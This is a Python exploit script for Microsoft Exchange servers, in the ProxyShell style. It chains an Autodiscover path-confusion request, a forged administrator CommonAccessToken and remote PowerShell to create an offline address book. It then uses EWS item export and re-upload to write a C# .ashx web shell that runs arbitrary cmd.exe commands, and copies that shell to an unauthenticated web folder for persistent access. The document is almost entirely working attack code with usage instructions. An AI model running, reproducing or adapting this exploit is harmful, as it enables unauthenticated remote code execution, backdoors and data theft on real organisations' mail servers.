import base64 import re import xml.dom.minidom import json import uuid import struct import string import random import hashlib import time import urllib import sys import warnings warnings.filterwarnings("ignore") warnings.filterwarnings("ignore", category=DeprecationWarning) import requests # proxies = {'https': 'http://127.0.0.1:8080'} proxies = {} base_url = "" session = requests.Session() def post_request(original_url, headers, data = None, cookies = {}): headers["User-Agent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.190 Safari/537.36" cookies["email"] = "Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com" url = base_url + "/Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com" + original_url if data is not None: r = session.post(url, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies) else: r = session.get(url, headers=headers, cookies=cookies, verify=False, proxies=proxies) return r def print_error_and_exit(error, r): print '[+] ', repr(error) if r is not None: print '[+] status_code: ', r.status_code print '[+] response headers: ', repr(r.headers) print '[+] response: ', repr(r.text) raise Exception("exploit failed") def get_userdn(email_address): headers = {"Content-Type": "text/xml; charset=utf-8"} data = """ Exchange2010 http://schemas.microsoft.com/exchange/2010/Autodiscover/Autodiscover/GetUserSettings https://mail.microsoft.com/autodiscover/autodiscover.svc %s UserDN """ % (email_address) print "[+] Send request to get UserDN" r = post_request("/Autodiscover/Autodiscover.svc", headers, data) if r.status_code == 200: doc = xml.dom.minidom.parseString(r.text); UserDN = doc.getElementsByTagName("UserSetting")[0].getElementsByTagName("Value")[0].firstChild.nodeValue # print "[+] Got UserDN of %s : %s" % (email_address, UserDN) print "[+] Got UserDN success" return UserDN.encode('ascii') else: print_error_and_exit("get_userdn failed", r) def get_sid(UserDN, email_address): headers = {'Content-Type': 'application/mapi-http', 'X-Clientapplication': 'Outlook/15.0.4815.1002', 'X-Clientinfo': '{2F94A2BF-A2E6-4CCC-BF98-B5F22C542226}', 'X-Requestid': '{C715155F-2BE8-44E0-BD34-2960065754C8}:2', 'X-Requesttype': 'Connect', 'X-User-Identity': email_address } suffix = base64.b64decode("AAAAAADkBAAACQQAAAkEAAAAAAAA") data = UserDN + suffix print '[+] Send request to get sid' r = post_request("/mapi/emsmdb", headers, data) if r.status_code == 200: sid = re.search("with SID (.*) and MasterAccountSid", r.text).group(1) # print '[+] Found sid of %s : %s' % (email_address, sid) print '[+] Got sid success' return sid else: print_error_and_exit("get_sid failed", r) def extract_domainid(sid): ret = re.search("S-1-5-21-(.*)-\\d+", sid) if ret is not None: domainid = ret.group(1) print "[+] Extract Domain ID success" return domainid else: return None class BasePacket: def __init__(self, ObjectId = 0, Destination = 2, MessageType = 0, RPID = None, PID = None, Data = ""): self.ObjectId = ObjectId self.FragmentId = 0 self.Flags = "\x03" self.Destination = Destination self.MessageType = MessageType self.RPID = RPID self.PID = PID self.Data = Data def __str__(self): return "ObjectId: " + str(self.ObjectId) + ", FragmentId: " + str(self.FragmentId) + ", MessageType: " + str(self.MessageType) + ", RPID: " + str(self.RPID) + ", PID: " + str(self.PID) + ", Data: " + self.Data def serialize(self): Blob = ''.join([struct.pack('I', self.Destination), struct.pack('I', self.MessageType), self.RPID.bytes_le, self.PID.bytes_le, self.Data ]) BlobLength = len(Blob) output = ''.join([struct.pack('>Q', self.ObjectId), struct.pack('>Q', self.FragmentId), self.Flags, struct.pack('>I', BlobLength), Blob ]) return output def deserialize(self, data): total_len = len(data) i = 0 self.ObjectId = struct.unpack('>Q', data[i:i+8])[0] i = i + 8 self.FragmentId = struct.unpack('>Q', data[i:i+8])[0] i = i + 8 self.Flags = data[i] i = i + 1 BlobLength = struct.unpack('>I', data[i:i+4])[0] i = i + 4 Blob = data[i:i+BlobLength] lastIndex = i + BlobLength i = 0 self.Destination = struct.unpack('I', Blob[i:i+4])[0] i = i + 4 self.MessageType = struct.unpack('I', Blob[i:i+4])[0] i = i + 4 self.RPID = uuid.UUID(bytes_le=Blob[i:i+16]) i = i + 16 self.PID = uuid.UUID(bytes_le=Blob[i:i+16]) i = i + 16 self.Data = Blob[i:] return lastIndex class SESSION_CAPABILITY(BasePacket): def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): self.Destination = 2 self.MessageType = 0x00010002 BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) class INIT_RUNSPACEPOOL(BasePacket): def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): self.Destination = 2 self.MessageType = 0x00010004 BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) class CreationXML: def __init__(self, sessionCapability, initRunspacPool): self.sessionCapability = sessionCapability self.initRunspacPool = initRunspacPool def serialize(self): output = self.sessionCapability.serialize() + self.initRunspacPool.serialize() return base64.b64encode(output) def deserialize(self, data): rawdata = base64.b64decode(data) lastIndex = self.sessionCapability.deserialize(rawdata) self.initRunspacPool.deserialize(rawdata[lastIndex:]) def __str__(self): return self.sessionCapability.__str__() + self.initRunspacPool.__str__() class PSCommand(BasePacket): def __init__(self, ObjectId = 1, RPID = None, PID = None, Data = ""): self.Destination = 2 self.MessageType = 0x00021006 BasePacket.__init__(self, ObjectId, self.Destination, self.MessageType, RPID, PID, Data) def create_powershell_shell(SessionId, RPID, commonAccessToken): print "[+] Create powershell session" headers = { "Content-Type": "application/soap+xml;charset=UTF-8", } url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken) MessageID = uuid.uuid4() OperationID = uuid.uuid4() PID = uuid.UUID('{00000000-0000-0000-0000-000000000000}') sessionData = """2.32.01.1.0.1""" sessionCapability = SESSION_CAPABILITY(1, RPID, PID, sessionData) initData = """11System.Management.Automation.Runspaces.PSThreadOptionsSystem.EnumSystem.ValueTypeSystem.ObjectDefault0System.Threading.ApartmentStateSystem.EnumSystem.ValueTypeSystem.ObjectUnknown2System.Management.Automation.PSPrimitiveDictionarySystem.Collections.HashtableSystem.ObjectPSVersionTablePSVersion5.1.19041.610PSEditionDesktopPSCompatibleVersionsSystem.Version[]System.ArraySystem.Object1.02.03.04.05.05.1.19041.610CLRVersion4.0.30319.42000BuildVersion10.0.19041.610WSManStackVersion3.0PSRemotingProtocolVersion2.3SerializationVersion1.1.0.1System.Collections.HashtableSystem.Object9System.StringAdministrator: Windows PowerShell8System.Management.Automation.Host.Size274727System.Management.Automation.Host.Size120726System.Management.Automation.Host.Size120505System.Management.Automation.Host.Size12030004System.Int32253System.Management.Automation.Host.Coordinates002System.Management.Automation.Host.Coordinates091System.ConsoleColor50System.ConsoleColor6falsefalsefalsefalse""" initRunspacPool = INIT_RUNSPACEPOOL(2, RPID, PID, initData) creationXml = CreationXML(sessionCapability, initRunspacPool).serialize() # xpress request_data = """ https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610 http://schemas.microsoft.com/powershell/Microsoft.Exchange http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.xmlsoap.org/ws/2004/09/transfer/Create 512000 uuid:{MessageID} uuid:{SessionId} uuid:{OperationID} 1 2.3 PT180.000S stdin pr stdout {creationXml} """.format(OperationID=OperationID, MessageID=MessageID, SessionId=SessionId, creationXml=creationXml) r = post_request(url, headers, request_data, {}) if r.status_code == 200: doc = xml.dom.minidom.parseString(r.text); elements = doc.getElementsByTagName("rsp:ShellId") if len(elements) == 0: print_error_and_exit("create_powershell_shell failed with no ShellId return", r) ShellId = elements[0].firstChild.nodeValue # print "[+] Got ShellId: {ShellId}".format(ShellId=ShellId) print "[+] Got ShellId success" return ShellId else: print_error_and_exit("create_powershell_shell failed", r) def receive_data(SessionId, commonAccessToken, ShellId): print "[+] Receive data util get RunspaceState packet" headers = { "Content-Type": "application/soap+xml;charset=UTF-8" } url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken) MessageID = uuid.uuid4() OperationID = uuid.uuid4() request_data = """ https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610 http://schemas.microsoft.com/powershell/Microsoft.Exchange http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive 512000 uuid:{MessageID} uuid:{SessionId} uuid:{OperationID} 1 {ShellId} TRUE PT180.000S stdout """.format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId) r = post_request(url, headers, request_data, {}) if r.status_code == 200: doc = xml.dom.minidom.parseString(r.text); elements = doc.getElementsByTagName("rsp:Stream") if len(elements) == 0: print_error_and_exit("receive_data failed with no Stream return", r) for element in elements: stream = element.firstChild.nodeValue data = base64.b64decode(stream) if 'RunspaceState' in data: print "[+] Found RunspaceState packet" return True return False else: print_error_and_exit("receive_data failed", r) def run_cmdlet_new_offlineaddressbook(SessionId, RPID, commonAccessToken, ShellId): print "[+] Run cmdlet new-offlineaddressbook" headers = { "Content-Type": "application/soap+xml;charset=UTF-8", } url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken) name = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10)) commandData = """ System.Collections.Generic.List`1[[System.Management.Automation.PSObject, System.Management.Automation, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]] System.Object New-OfflineAddressBook false System.Management.Automation.Runspaces.PipelineResultTypes System.Enum System.ValueType System.Object None0 None0 None0 None0 None0 None0 None0 None0 -Name:{name} -AddressLists:Default Global Address List false true true System.Threading.ApartmentStateSystem.EnumSystem.ValueTypeSystem.Object Unknown2 System.Management.Automation.RemoteStreamOptionsSystem.EnumSystem.ValueTypeSystem.Object 00 true true true true true false """.format(name=name) PID = uuid.uuid4() # print '[+] Pipeline ID: ', PID print '[+] Create powershell pipeline' c = PSCommand(3, RPID, PID, commandData) command_arguments = base64.b64encode(c.serialize()) MessageID = uuid.uuid4() OperationID = uuid.uuid4() request_data = """ https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610 http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Command 512000 uuid:{MessageID} uuid:{SessionId} uuid:{OperationID} 1 http://schemas.microsoft.com/powershell/Microsoft.Exchange {ShellId} PT180.000S New-OfflineAddressBook {command_arguments} """.format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=str(PID), command_arguments=command_arguments) r = post_request(url, headers, request_data, {}) if r.status_code == 200: doc = xml.dom.minidom.parseString(r.text) elements = doc.getElementsByTagName("rsp:CommandId") if len(elements) == 0: print_error_and_exit("run_cmdlet_new_offlineaddressbook failed with no CommandId return", r) CommandId = elements[0].firstChild.nodeValue # print "[+] Got CommandId: {CommandId}".format(CommandId=CommandId) print "[+] Got CommandId success" return CommandId else: print_error_and_exit("run_cmdlet_new_offlineaddressbook failed", r) def get_command_output(SessionId, commonAccessToken, ShellId, CommandId): headers = { "Content-Type": "application/soap+xml;charset=UTF-8", } url = "/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&sessionID=Version_15.1_(Build_2043.4)=rJqNiZqNgbqnvLe+sbi6zsnRm5CSnpaRnJCNj9GckJKBzsbLzc/JzM7Pz4HNz83O0s/M0s3Iq8/Hxc/LxczO&X-Rps-CAT={commonAccessToken}".format(commonAccessToken=commonAccessToken) MessageID = uuid.uuid4() OperationID = uuid.uuid4() request_data = """ https://exchange16.domaincorp.com:443/PowerShell?PSVersion=5.1.19041.610 http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous http://schemas.microsoft.com/wbem/wsman/1/windows/shell/Receive 512000uuid:{MessageID} uuid:{SessionId} uuid:{OperationID} 1 http://schemas.microsoft.com/powershell/Microsoft.Exchange {ShellId} PT180.000S stdout """.format(SessionId=SessionId, MessageID=MessageID, OperationID=OperationID, ShellId=ShellId, CommandId=CommandId) r = post_request(url, headers, request_data, {}) if r.status_code == 200: doc = xml.dom.minidom.parseString(r.text) elements = doc.getElementsByTagName("rsp:Stream") if len(elements) == 0: print_error_and_exit("get_command_output failed with no Stream return", r) data = elements[0].firstChild.nodeValue rawdata = base64.b64decode(data) ret = re.search('(.*)', rawdata) if ret is None: print_error_and_exit("get_command_output failed with no oab_guid return,\n\t\trawdata: " + repr(rawdata), r) oab_guid = ret.group(1) # print '[+] Found guid: ', oab_guid print '[+] Create new OAB success, got OAB_GUID' return oab_guid else: print_error_and_exit("get_command_output failed", r) class CommonAccessToken: def __init__(self, domain_name, domainid): self.domainid = domainid self.Version = 1 self.TokenType = "Windows" self.IsCompress = 0 self.AuthenticationType = "Kerberos" self.LogonName = domain_name + "\\administrator" self.UserSid = "S-1-5-21-" + domainid + "-500" self.Groups = ["S-1-5-21-" + domainid + "-513", "S-1-1-0", "S-1-5-2", "S-1-5-11", "S-1-5-15", "S-1-5-21-" + domainid + "-520", "S-1-5-21-" + domainid + "-512", "S-1-5-21-" + domainid + "-518", "S-1-5-21-" + domainid + "-519", "S-1-18-1" ] def serialize(self): groupdata = "G" groupdata = groupdata + struct.pack('I', len(self.Groups)) attribute = 7 for g in self.Groups: groupdata = groupdata + struct.pack('I', attribute) + struct.pack('B', len(g)) + g groupdata = groupdata + "E" + struct.pack('I', 0) # no extension data output = ''.join(["V" + struct.pack('H', self.Version), "T" + struct.pack('B', len(self.TokenType)) + self.TokenType, "C" + struct.pack('B', self.IsCompress), "A" + struct.pack('B', len(self.AuthenticationType)) + self.AuthenticationType, "L" + struct.pack('B', len(self.LogonName)) + self.LogonName, "U" + struct.pack('B', len(self.UserSid)) + self.UserSid, groupdata]) return base64.b64encode(output) def create_new_addressbook(domainid): cat = CommonAccessToken("DOMAINABCD", domainid) commonAccessToken = urllib.quote_plus(cat.serialize()) SessionId = uuid.uuid4() RPID = uuid.uuid4() ShellId = create_powershell_shell(SessionId, RPID, commonAccessToken) max_loop = 0 while max_loop < 12: # prevent loop forever ret = receive_data(SessionId, commonAccessToken, ShellId) max_loop = max_loop + 1 if ret: break if max_loop > 10: print_error_and_exit("create_new_addressbook failed with receive_data run forever", r=None) break CommandId = run_cmdlet_new_offlineaddressbook(SessionId, RPID, commonAccessToken, ShellId) oab_guid = get_command_output(SessionId, commonAccessToken, ShellId, CommandId) return oab_guid def create_oabfolder(sid): headers = { 'Content-Type': 'text/xml;charset=UTF-8', 'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/CreateFolder"' } request_data = """ %s %s OAB """ % (sid, sid) r = post_request("/ews/exchange.asmx", headers, request_data) if r.status_code == 200: ret = re.search("", r.text) if ret is None: print_error_and_exit("create_oabfolder failed with no FolderId return", r) print '[+] Create OAB folder success' folderId = ret.group(1) return folderId else: print_error_and_exit("create_oabfolder failed", r) def find_oab_folder(sid): headers = { 'Content-Type': 'text/xml;charset=UTF-8', 'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/FindFolder"' } request_data = """ %s %s Default """ % (sid, sid) r = post_request("/ews/exchange.asmx", headers, request_data) if r.status_code == 200: ret = re.search("", r.text) if ret is not None: print "[+] Found existence OAB folder" folderId = ret.group(1) else: print "[+] OAB folder does not exists, try to create new one" folderId = create_oabfolder(sid) # print '[+] Got folderId of oab folder: ', folderId print '[+] Got folderId of OAB folder' return folderId else: print_error_and_exit("find_oab_folder failed", r) CREATE_ITEM = """ %s %s IPM.FileSet %s """ def create_item(sid, folderId, oab_guid): headers = { 'Content-Type': 'text/xml;charset=UTF-8', 'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/CreateItem"' } request_data = CREATE_ITEM % (sid, sid, folderId, oab_guid) r = post_request("/ews/exchange.asmx", headers, request_data) if r.status_code == 200: print '[+] Create item in OAB folder success ' doc = xml.dom.minidom.parseString(r.text) elements = doc.getElementsByTagName("t:Message") if len(elements) == 0: print_error_and_exit("find_oab_folder failed with no Message return", r) MessageData = elements[0].toxml() ret = re.search("", MessageData) if ret is None: print_error_and_exit("find_oab_folder failed with no ItemId return", r) ItemId = ret.group(1) # print "[+] Got ItemId: ", ItemId print "[+] Got ItemId success" return ItemId else: print_error_and_exit("find_oab_folder failed", r) EXPORT_ITEM = """ %s %s """ def export_item(sid, ItemId): request_data = EXPORT_ITEM % (sid, sid, ItemId) headers = { 'Content-Type': 'text/xml;charset=UTF-8', 'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/ExportItems"' } r = post_request("/ews/exchange.asmx", headers, request_data) if r.status_code == 200: print '[+] Export item success' doc = xml.dom.minidom.parseString(r.text) elements = doc.getElementsByTagName("m:Data") if len(elements) == 0: print_error_and_exit("export_item failed with no Data return", r) Data = elements[0].firstChild.nodeValue return Data else: print_error_and_exit("export_item failed", r) UPLOAD_ITEM = """ %s %s %s """ def upload_item(sid, folderId, ItemId, Data): request_data = UPLOAD_ITEM % (sid, sid, folderId, ItemId, Data) headers = { 'Content-Type': 'text/xml;charset=UTF-8', 'SOAPAction': '"http://schemas.microsoft.com/exchange/services/2006/messages/UploadItems"' } r = post_request("/ews/exchange.asmx", headers, request_data) if r.status_code == 200: print '[+] Re-Import item success ' doc = xml.dom.minidom.parseString(r.text) elements = doc.getElementsByTagName("m:ItemId") if len(elements) == 0: print_error_and_exit("upload_item failed with no ItemId return", r) ItemId = elements[0].toxml() return ItemId else: print_error_and_exit("upload_item failed with no ItemId return", r) PtypInteger32 = '\x03\x00' PtypBinary = '\x02\x01' PtypUnicodeString = '\xB0\x84' PtypTime = '\x40\x00' class Attach(): StartMarker = '\x03\x00\x00\x40' EndMarker = '\x03\x00\x0E\x40' def __init__(self, attachNumber, filename, content): self.attachNumber = attachNumber self.filename = filename self.content = content def PidTagAttachNumber(self): PropertyId = '\x21\x0E' return PtypInteger32 + PropertyId + struct.pack("I", self.attachNumber) def PidTagAttachSize(self, AttachSize): PropertyId = '\x20\x0E' return PtypInteger32 + PropertyId + struct.pack("I", AttachSize) def PidTagAccessLevel(self): PropertyId = '\xF7\x0F' return PtypInteger32 + PropertyId + '\x00\x00\x00\x00' def PidTagRecordKey(self): PropertyId = '\xF9\x0F' RecordKey = '\x4B\xE9\x4B\x63\x94\xF6\xE6\x40\xAD\x64\x74\xD9\x9D\x18\x0C\x63' return PtypBinary + PropertyId + struct.pack("I", 16) + RecordKey def PidTagDisplayName(self): PropertyId = '\x01\x30' utf16le_displayname = 'test'.encode('utf-16-le') + '\x00\x00' return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_displayname)) + utf16le_displayname def PidTagCreationTime(self): PropertyId = '\x07\x30' return PtypTime + PropertyId + '\x93\x1A\x93\x42\x56\x16\xD7\x01' def PidTagLastModificationTime(self): PropertyId = '\x08\x30' return PtypTime + PropertyId + '\x93\x1A\x93\x42\x56\x16\xD7\x01' def PidTagAttachDataBinary(self): AttachDataBinaryPropertyId = '\x01\x37' AttachDataBinary = PtypBinary + AttachDataBinaryPropertyId + struct.pack("I", len(self.content)) + self.content return AttachDataBinary def PidTagAttachExtension(self): PropertyId = '\x03\x37' utf16le_extension = '.aspx'.encode('utf-16-le') + '\x00\x00' return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_extension)) + utf16le_extension def PidTagAttachFilename(self): PropertyId = '\x04\x37' utf16le_shortname = '97b44c~1.asp'.encode('utf-16-le') + '\x00\x00' return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_shortname)) + utf16le_shortname def PidTagAttachMethod(self): PropertyId = '\x05\x37' return PtypInteger32 + PropertyId + '\x01\x00\x00\x00' def PidTagAttachLongFilename(self): PropertyId = '\x07\x37' utf16le_filename = self.filename.encode('utf-16-le') + '\x00\x00' # always \x00\x00 in the end return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_filename)) + utf16le_filename def PidTagRenderingPosition(self): PropertyId = '\x0B\x37' return PtypInteger32 + PropertyId + '\xFF\xFF\xFF\xFF' def PidTagLanguage(self): PropertyId = '\x0C\x3A' utf16le_language = 'EnUs'.encode('utf-16-le') + '\x00\x00' return PtypUnicodeString + PropertyId + struct.pack("I", len(utf16le_language)) + utf16le_language def PidTagAttachHash(self): h = hashlib.sha1(self.content) AttachHashPropertyId = '\x16\x81' AttachmentPropertySetGUID = '\x7F\x7F\x35\x96\xE1\x59\xD0\x47\x99\xA7\x46\x51\x5C\x18\x3B\x54' AttachHash = PtypBinary + AttachHashPropertyId + AttachmentPropertySetGUID + '\x01' + 'AttachHash'.encode('utf-16-le') + '\x00\x00' + struct.pack("I", 20) + h.digest() return AttachHash def serialize(self): payload = ''.join([ self.StartMarker, self.PidTagAttachNumber(), self.PidTagAttachSize(1364), self.PidTagAccessLevel() , self.PidTagRecordKey() , self.PidTagDisplayName(), self.PidTagCreationTime(), self.PidTagLastModificationTime(), self.PidTagAttachDataBinary(), self.PidTagAttachExtension(), self.PidTagAttachFilename(), self.PidTagAttachMethod(), self.PidTagAttachLongFilename(), self.PidTagRenderingPosition(), self.PidTagLanguage(), self.PidTagAttachHash(), self.EndMarker ]) attachSize = len(payload) - 133 payload = ''.join([ self.StartMarker, self.PidTagAttachNumber(), self.PidTagAttachSize(attachSize), self.PidTagAccessLevel() , self.PidTagRecordKey() , self.PidTagDisplayName(), self.PidTagCreationTime(), self.PidTagLastModificationTime(), self.PidTagAttachDataBinary(), self.PidTagAttachExtension(), self.PidTagAttachFilename(), self.PidTagAttachMethod(), self.PidTagAttachLongFilename(), self.PidTagRenderingPosition(), self.PidTagLanguage(), self.PidTagAttachHash(), self.EndMarker ]) return payload def change_data(Data): rawdata = base64.b64decode(Data) oab_content = ''' rskvp93.ashx ''' attach1 = Attach(1, 'oab.xml', oab_content) content = '''<% @ webhandler language="C#" class="Rskvp93Handler" %> using System; using System.Web; using System.Diagnostics; using System.IO; public class Rskvp93Handler : IHttpHandler { public Rskvp93Handler() { try { //File.WriteAllText("C:\\test.txt", "test"); string output = ""; string c = HttpContext.Current.Request.Params["c"]; ProcessStartInfo psi = Rskvp93Handler.createProcesssStartInfo(c); psi = Rskvp93Handler.setInfo(psi); output = Rskvp93Handler.startProcess(psi); HttpContext.Current.Response.Headers["CMD-OUTPUT"] = System.Web.HttpUtility.HtmlEncode(output); } catch (Exception e){ HttpContext.Current.Response.Headers["CMD-EXCEPTION"] = System.Web.HttpUtility.HtmlEncode(e.Message); } } public static ProcessStartInfo createProcesssStartInfo(string c){ ProcessStartInfo processStartInfo = new ProcessStartInfo(); processStartInfo.FileName = "cmd.exe"; processStartInfo.Arguments = "/c " + c; return processStartInfo; } public static ProcessStartInfo setInfo(ProcessStartInfo psi){ psi.RedirectStandardOutput = true; psi.UseShellExecute = false; return psi; } public static string startProcess(ProcessStartInfo psi){ Process pr = Process.Start(psi); string output = pr.StandardOutput.ReadToEnd(); pr.StandardOutput.Close(); return output; } public bool IsReusable { get { return true; } } public void ProcessRequest(HttpContext ctx) { } }''' attach2 = Attach(2, r'rskvp93.ashx', content) NewBlock = attach1.serialize() + attach2.serialize() newrawdata = rawdata + struct.pack('I', 0x2) + struct.pack('I', len(NewBlock)) + NewBlock return base64.b64encode(newrawdata) def request_oab(oab_guid): oab_path = '/oab/' + oab_guid + '/oab.xml' max_loop = 0 while max_loop < 12: # prevent loop forever print '[+] Send oab request to trigger write webshell' r = post_request(oab_path, headers={}, data=None) if r.status_code == 200: # print '[+] Success write shell to server ', r.headers['X-CalculatedBETarget'] print '[+] Success write shell to server' webshell_path = '/oab/' + oab_guid + '/rskvp93.ashx' # print '[+] Check webshell at ', webshell_path return webshell_path elif max_loop > 10: print_error_and_exit("request_oab failed with two many retry", r) elif r.status_code == 404: print '[+] Retry send oab request' time.sleep(3) sys.stdout.flush() max_loop = max_loop + 1 continue else: print_error_and_exit("request_oab failed", r) def run_command_webshell(webshell_path, command): print "[+] Run command ", command url = webshell_path + '?c=' + urllib.quote_plus(command) r = post_request(url, headers={}, data=None) if "CMD-EXCEPTION" in r.headers: print '[+] Run command got exception' print '[+] CMD-EXCEPTION: ', urllib.unquote(r.headers["CMD-EXCEPTION"]) return False elif "CMD-OUTPUT" in r.headers: print '[+] Run command success' print '[+] Command output: ', urllib.unquote(r.headers["CMD-OUTPUT"]) return True else: print_error_and_exit("run_command_webshell failed", r) def copy_webshell_to_unauthenticated_folder(webshell_path, oab_guid): source_file = "C:\\Program Files\\Microsoft\\Exchange Server\\V15\\ClientAccess\\OAB\\" + oab_guid + "\\rskvp93.ashx" target_file = "C:\\inetpub\\wwwroot\\aspnet_client" command = 'copy "%s" "%s"' % (source_file, target_file) print "[+] Copy webshell from oab folder to C:\\inetpub\\wwwroot\\aspnet_client" ret = run_command_webshell(webshell_path, command) unauth_webshell_path = base_url + "/aspnet_client/rskvp93.ashx?c=[command]" if ret: print "[+] Unauthenticated webshell at ", unauth_webshell_path print "[+] Command output return at header CMD-OUTPUT" else: print "[+] Failed to copy webshell to unauthenticated path" return unauth_webshell_path def exploit(url, domain, command): global base_url base_url = url email_address = "SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@" + domain UserDN = get_userdn(email_address) sid = get_sid(UserDN, email_address) domainid = extract_domainid(sid) oab_guid = create_new_addressbook(domainid) folderId = find_oab_folder(sid) ItemId = create_item(sid, folderId, oab_guid) Data = export_item(sid, ItemId) NewData = change_data(Data) upload_item(sid, folderId, ItemId, NewData) webshell_path = request_oab(oab_guid) run_command_webshell(webshell_path, command) copy_webshell_to_unauthenticated_folder(webshell_path, oab_guid) return True def pwn(url, domain, command): get_version(url) num_retry = 0 while num_retry < 5: try: ret = exploit(url, domain, command) if ret: return except Exception as e: num_retry = num_retry + 1 print "\n\n\n[+] RETRY EXPLOIT ONE MORE TIMES" print "[+] exploit failed, so sad !!!!!" def get_version(base_url): r = requests.get(base_url + '/owa/', headers={}, allow_redirects = False, verify=False) if r.status_code == 302 and 'X-OWA-Version' in r.headers: print '[+] OWA-VERSION: ' + r.headers['X-OWA-Version'] else: print '[+] OWA-VERSION: Cannot detect' def howto(name): print """python %s - url: the target url, for example https://ex19.exchangelab.local - domain_part: the domain part an email address, for example admin@domaincorp.com, the domain part will be domaincorp.com - command: the cmd command to run on server, for example whoami, dir Example: python %s https://ex19.exchangelab.local exchangelab.local "whoami /all" """ % (name, name) def main(): if len(sys.argv) != 4: howto(sys.argv[0]) return url = sys.argv[1] domain_part = sys.argv[2] command = sys.argv[3] pwn(url, domain_part, command) main()